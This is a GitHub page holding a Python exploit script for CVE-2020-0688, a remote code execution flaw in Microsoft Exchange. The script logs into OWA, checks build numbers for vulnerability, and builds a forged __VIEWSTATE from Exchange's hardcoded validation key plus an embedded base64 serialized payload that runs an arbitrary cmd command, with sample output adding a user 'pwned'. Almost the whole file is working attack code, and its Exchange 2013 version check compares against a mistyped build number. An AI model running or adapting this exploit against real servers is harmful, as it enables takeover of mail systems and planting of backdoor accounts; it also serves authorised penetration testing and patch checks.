-
Notifications
You must be signed in to change notification settings - Fork 41
/
Copy pathCVE-2020-0688.py
executable file
·260 lines (232 loc) · 14.6 KB
/
CVE-2020-0688.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
r'''
# Exploit Title: CVE-2020-0688 MS Exchange Authenticated RCE as System (and LPE)
# Date: 2020-02-28
# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
# Vendor Homepage: https://www.microsoft.com
# Version: MS Exchange Server 2010 SP3 up to 2019 CU4
# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019
# CVE: CVE-2020-0688
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Native version check? Open Management Shell and run:
PS> Get-Command Exsetup.exe | ForEach {$_.FileVersionInfo}
File name CVE-2020-0688-Photubias.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
This is a native implementation without requirements, written in Python 2.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net
Exchange Versions Full builds (2020-02-28, https://docs.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates)
2019 == 15.2.x CU4 (2019-12-17): 15.2.529.5 (CU3 = 15.2.464.5) (fixed in 529.8 and 464.11)
2016 == 15.1.x CU15 (2019-12-17): 15.1.1913.5 (CU14 = 15.1.1847.3) (fixed in 1913.7 and 1847.7)
2013 == 15.0.x CU23 (2019-06-18): 15.0.1497.2 (fixed in 1497.6)
2010 == 14.x Rollup30 (2020-02-11): 14.3.496.0
2007 == 8.x Rollup23 (2017-03-21): 8.3.517.0
2003 == 6.5.x
2000 == 6.0.x
Everything older is just version nr == Exchange version
Example Output:
CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add"
[+] Login worked
[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570
[+] Detected OWA version number 15.2.221.12
[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!
[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:
[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==
Sending now ...
'''
import urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, ssl, getpass, re, http.cookiejar
## STATIC STRINGS
# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations)
strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=').decode('latin1')
# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)
strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF').decode('latin1')
def convertInt(iInput, length): return struct.pack("<I" , int(iInput)).hex()[:length]
def isVulnerable(version):
buildnr = version.split('.')
if(len(buildnr) < 4): buildnr.append(0)
try: int(buildnr[2])
except: return False
if buildnr[0] == '15': ## 2013, 2016 or 2019
if buildnr[1] == '2':
print('[!] Exchange Server 2019 detected')
if int(buildnr[2]) > 529:
print('[-] Not vulnerable; > CU5 and up')
return False
elif int(buildnr[2]) == 529:
if 0 < int(buildnr[3]) < 8:
print('[+] Vulnerable version of CU4')
return True
else:
print('[-] Fixed version of CU4')
return False
elif int(buildnr[2]) == 464:
if int(buildnr[3]) < 11:
print('[+] Vulnerable version of CU3')
return True
else:
print('[-] Fixed version of CU3')
return False
else:
print('[+] This version is too old (before CU3) and vulnerable')
return True
elif buildnr[1] == '1':
print('[!] Exchange Server 2016 detected')
if int(buildnr[2]) > 1913:
print('[-] Not vulnerable; > CU16 and up')
return False
elif int(buildnr[2]) == 1913:
if 0 < int(buildnr[3]) < 7:
print('[+] Vulnerable version of CU15')
return True
else:
print('[-] Fixed version of CU15')
return False
elif int(buildnr[2]) == 1847:
if 0 < int(buildnr[3]) < 7:
print('[+] Vulnerable version of CU14')
return True
else:
print('[-] Fixed version of CU14')
return False
else:
print('[+] This version is too old (before CU14) and vulnerable')
return True
elif buildnr[1] == '0':
print('[!] Exchange Server 2013 detected')
if int(buildnr[2]) > 1497:
print('[-] Not vulnerable; > CU24 and up')
return False
elif int(buildnr[2]) == 149:
if 0 < int(buildnr[3]) < 6:
print('[+] Vulnerable version of CU23')
return True
else:
print('[-] Fixed version of CU23')
return False
else:
print('[+] This version is too old (before CU23) and vulnerable')
return True
elif buildnr[0] == '14': ## 2010
print('[!] Exchange Server 2010 detected')
if int(buildnr[2]) >= 496:
print('[-] Not vulnerable; > Rollup30 and up')
return False
else:
print('[+] This version is too old (before Rollup30) and vulnerable')
return True
elif buildnr[0] == '8':
print('[+] Exchange Server 2007 detected, please upgrade')
return True
elif buildnr[0] == '6' and buildnr[1] == '5':
print('[+] Exchange Server 2003 detected, please upgrade')
return True
elif buildnr[0] == '6' and buildnr[1] == '0':
print('[+] Exchange Server 2000 detected, please upgrade')
return True
print('[+] Exchange Server '+version +' detected, please upgrade')
return True
def getYsoserialPayload(sCommand, sSessionId):
## PART1 of the payload to hash
bPart1 = strSerTemplate.replace('###payload###', sCommand).encode('latin_1')
## Fix the length fields
#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))
#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))
bLength1 = convertInt(0x06b8 + len(sCommand),4).encode('latin_1')
bLength2 = convertInt(0x04da + len(sCommand),4).encode('latin_1')
bPart1 = bPart1[:3] + binascii.unhexlify(bLength1) + bPart1[5:]
bPart1 = bPart1[:224] + binascii.unhexlify(bLength2) + bPart1[226:]
## PART2 of the payload to hash
bPart2 = b'274e7bb9' ## Yes, this is the view state :)
for v in sSessionId: bPart2 += binascii.hexlify(v.encode('latin_1')) + b'00'
bPart2 = binascii.unhexlify(bPart2)
sMac = hmac.new(strSerKey.encode('latin_1'), bPart1 + bPart2, hashlib.sha1).hexdigest()
strResult = base64.b64encode(bPart1 + binascii.unhexlify(sMac)).decode('latin_1')
return strResult
def getVersion(sTarget, oOpener):
if not sTarget[-1:] == '/': sTarget += '/'
try: sResult = oOpener.open(sTarget + 'owa/auth.owa').read().decode(errors='ignore')
except: print('[!] Error, ' + sTarget + ' not reachable')
## Verify OWA Version
sVersion = ''
try: sVersion = sResult.split('owa/auth/')[1].split('/')[0]
except:
try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2]
except: sVersion = 'Unknown'
print('[+] Detected OWA version number ' + sVersion)
if isVulnerable(sVersion): print('[+] Based on buildnr, this machine is vulnerable')
else: print('[-] Probably fixed')
return ''
def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):
if not sTarget[-1:] == '/': sTarget += '/'
## Verify Login
lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}
lPostData = urllib.parse.urlencode(lPostData).encode()
try: sResult = oOpener.open(sTarget + 'owa/auth.owa', data = lPostData).read().decode(errors='ignore')
except: print('[!] Error, ' + sTarget + ' not reachable')
bLoggedIn = False
for cookie in oCookjar:
if cookie.name == 'cadata': bLoggedIn = True
if not bLoggedIn:
print('[-] Login Wrong, too bad')
exit(1)
print('[+] Login worked')
## Verify Session ID
sSessionId = ''
sResult = oOpener.open(sTarget+'ecp/default.aspx').read().decode(errors='ignore')
for cookie in oCookjar:
if 'SessionId' in cookie.name: sSessionId = cookie.value
print('[+] Got ASP.NET Session ID: ' + sSessionId)
## Verify ViewStateValue
sViewState = ''
try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0]
except: pass
if sViewState == 'B97B4E27':
print('[+] Vulnerable View State "B97B4E27" detected, this host may be vulnerable!')
elif sViewState == '':
print('[!] Problem, this user (probably) has never logged in before (wizard detected)')
print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')
exit(1)
else:
print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)
ans = input('[?] Still want to try the exploit? [y/N]: ')
if ans == '' or ans.lower() == 'n': exit(1)
return sSessionId, sTarget, sViewState
def main():
parser = argparse.ArgumentParser(description = 'Username & password required for exploitation')
parser.add_argument('-t', '--target', required=True, help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')
parser.add_argument('-u', '--username', help='Username (e.g. joe or [email protected])', default='')
parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')
parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='')
args = parser.parse_args()
if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')
else: sPassword = args.password
ssl._create_default_https_context = ssl._create_unverified_context
oCookjar = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(oCookjar))
getVersion(args.target, oOpener)
sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)
ans = input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')
if ans.lower() == 'n': exit(0)
sPayLoad = getYsoserialPayload(args.command, sSessionId)
print('[+] Got Payload: ' + sPayLoad)
sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.parse.quote_plus(sPayLoad)
print(' Sending now ...')
try:
oOpener.open(sURL)
except urllib.error.HTTPError as e:
if '500' in str(e): print('[+] This probably worked (Error Code 500 received)')
if __name__ == "__main__":
main()